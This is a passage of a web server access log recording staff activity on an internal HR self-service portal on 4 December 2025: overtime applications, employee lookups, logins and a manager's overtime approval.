192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:03:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3741860475824803 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3741860475824803 HTTP/1.1" 200 8816 192.168.11.144 - - [04/Dec/2025:09:03:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3741860475824803 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3741860475824803" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:03:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3741860475824803 HTTP/1.1" 200 16781 192.168.11.144 - - [04/Dec/2025:09:04:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4267 192.168.11.144 - - [04/Dec/2025:09:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:04:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7146690775996749 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:45 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7146690775996749 HTTP/1.1" 200 8816 192.168.11.144 - - [04/Dec/2025:09:04:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7146690775996749 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7146690775996749" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:04:50 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7146690775996749 HTTP/1.1" 200 16781 192.168.11.144 - - [04/Dec/2025:09:05:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4269 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:05:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12473879557663115 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12473879557663115 HTTP/1.1" 200 8816 192.168.11.144 - - [04/Dec/2025:09:05:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12473879557663115 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12473879557663115" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.12473879557663115 HTTP/1.1" 200 10989 192.168.11.144 - - [04/Dec/2025:09:05:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:05:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [04/Dec/2025:09:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5881886692754101 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:06:12 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5881886692754101 HTTP/1.1" 200 8816 192.168.11.144 - - [04/Dec/2025:09:06:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5881886692754101 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5881886692754101" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:06:19 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5881886692754101 HTTP/1.1" 200 10989 192.168.11.144 - - [04/Dec/2025:09:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4066 192.168.11.60 - - [04/Dec/2025:09:06:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [04/Dec/2025:09:06:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [04/Dec/2025:09:06:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [04/Dec/2025:09:06:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:38 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [04/Dec/2025:09:06:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:44 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 192.168.11.60 - - [04/Dec/2025:09:06:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:06:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [04/Dec/2025:09:07:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:07:05 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [04/Dec/2025:09:07:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:07:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165839 192.168.11.60 - - [04/Dec/2025:09:07:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [04/Dec/2025:09:07:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.144 - - [04/Dec/2025:09:07:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:07:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [04/Dec/2025:09:07:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:07:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [04/Dec/2025:09:07:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:07:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [04/Dec/2025:09:07:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15784 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [04/Dec/2025:09:07:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 15784 192.168.11.108 - - [04/Dec/2025:09:11:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:06 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:11:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:07 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.108 - - [04/Dec/2025:09:11:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:10 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:11:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:11 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [04/Dec/2025:09:11:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:12 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10436 192.168.11.108 - - [04/Dec/2025:09:11:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 88119 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:11:16 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 88119 192.168.11.108 - - [04/Dec/2025:09:13:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [04/Dec/2025:09:13:29 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.11.108 - - [04/Dec/2025:09:13:30 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132721%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132721&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - 